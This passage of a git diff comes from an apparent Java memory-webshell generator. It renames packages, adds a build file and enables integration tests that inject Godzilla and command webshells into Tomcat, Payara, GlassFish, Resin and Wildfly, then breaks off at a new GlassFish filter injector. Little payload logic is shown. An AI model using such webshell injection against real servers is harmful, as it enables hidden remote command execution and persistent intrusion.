com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 3b72a889..01938965 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index 20497473..713d22b2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.glassfish.GlassFishShell; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.GlassFishShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -54,8 +54,8 @@ public class Payara5201ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // Caused by: java.lang.ClassNotFoundException: javax.crypto.Cipher not found by org.glassfish.main.web.glue [222] -// arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, GlassFishShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, GlassFishShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index fad423b8..9679e448 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.payara.PayaraShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.PayaraShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,8 +50,8 @@ public class Payara520225ContainerTest { arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher -// arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, PayaraShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 2f5849cd..14c75ec9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.payara.PayaraShell; +import com.reajason.javaweb.memshell.PayaraShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -50,8 +50,8 @@ public class Payara620222ContainerTest { arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), // java.lang.NoClassDefFoundError: javax/crypto/Cipher -// arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, PayaraShell.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 08da5c4f..fe570754 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 0a93b419..fc42474e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index e75312e8..4fbf2e9b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index c89b4bd8..119f928c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index a8eab419..e74cef0e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 6fd8e387..4d34f2c1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index f07d71e7..7c5ae5e4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 542bb109..16769c5b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,10 +41,12 @@ public class Tomcat5ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 8bfbc1bf..c0022242 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,10 +41,12 @@ public class Tomcat6ContainerTest { static Stream casesProvider() { return Stream.of( -// arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), -// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 6a6df1f2..28f69996 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 7e8440e2..bc57a109 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 15e1bdd1..d319ecc2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -3,8 +3,8 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; -import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 1d6c6f97..d359f148 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,9 +42,13 @@ public class Wildfly18ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 9b53bf3c..c00d9d33 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,9 +42,13 @@ public class Wildfly23ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java index 280b79d2..b1c2c687 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly9ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.wildfly; import com.reajason.javaweb.config.Constants; import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; -import com.reajason.javaweb.memsell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packer; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -45,9 +45,17 @@ public class Wildfly9ContainerTest { static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine) ); } diff --git a/memshell/build.gradle b/memshell/build.gradle new file mode 100644 index 00000000..4427f980 --- /dev/null +++ b/memshell/build.gradle @@ -0,0 +1,37 @@ +group = 'com.reajason.javaweb' +version = '' + +java { + toolchain { + languageVersion = JavaLanguageVersion.of(8) + } + sourceCompatibility = JavaVersion.VERSION_1_6 + targetCompatibility = JavaVersion.VERSION_1_6 +} + +dependencies { + implementation 'javax.servlet:javax.servlet-api:3.0.1' + implementation 'javax.websocket:javax.websocket-api:1.1' + + implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { + exclude group: 'org.apache.tomcat', module: 'tomcat-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-juli' + exclude group: 'org.apache.tomcat', module: 'tomcat-jni' + exclude group: 'org.apache.tomcat', module: 'tomcat-coyote' + exclude group: 'org.apache.tomcat', module: 'tomcat-util' + exclude group: 'org.apache.tomcat', module: 'tomcat-util-scan' + exclude group: 'org.apache.tomcat', module: 'tomcat-annotations-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-el-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-jsp-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-servlet-api' + exclude group: 'org.apache.tomcat', module: 'tomcat-jaspic-api' + } + + + testImplementation platform('org.junit:junit-bom:5.10.0') + testImplementation 'org.junit.jupiter:junit-jupiter' +} + +test { + useJUnitPlatform() +} \ No newline at end of file diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java index c156d2f2..4cfbd823 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/command/CommandListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.glassfish.command; +package com.reajason.javaweb.memshell.glassfish.command; import javax.servlet.ServletOutputStream; import javax.servlet.ServletRequestEvent; @@ -17,26 +17,6 @@ public class CommandListener implements ServletRequestListener { public CommandListener() { } - @SuppressWarnings("all") - public static synchronized Object getFieldValue(Object obj, String name) throws Exception { - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField(name); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field == null) { - throw new NoSuchFieldException(name); - } else { - field.setAccessible(true); - return field.get(obj); - } - } - @Override public void requestDestroyed(ServletRequestEvent sre) { @@ -75,4 +55,25 @@ public class CommandListener implements ServletRequestListener { } return response; } + + + @SuppressWarnings("all") + public static synchronized Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } } diff --git a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java rename to memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java index ed69d445..0d8beef3 100644 --- a/generator/src/main/java/com/reajason/javaweb/memsell/glassfish/godzilla/GodzillaListener.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memsell.glassfish.godzilla; +package com.reajason.javaweb.memshell.glassfish.godzilla; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java new file mode 100644 index 00000000..761ac0fe --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/injector/GlassFishFilterInjector.java @@ -0,0 +1,202 @@ +package 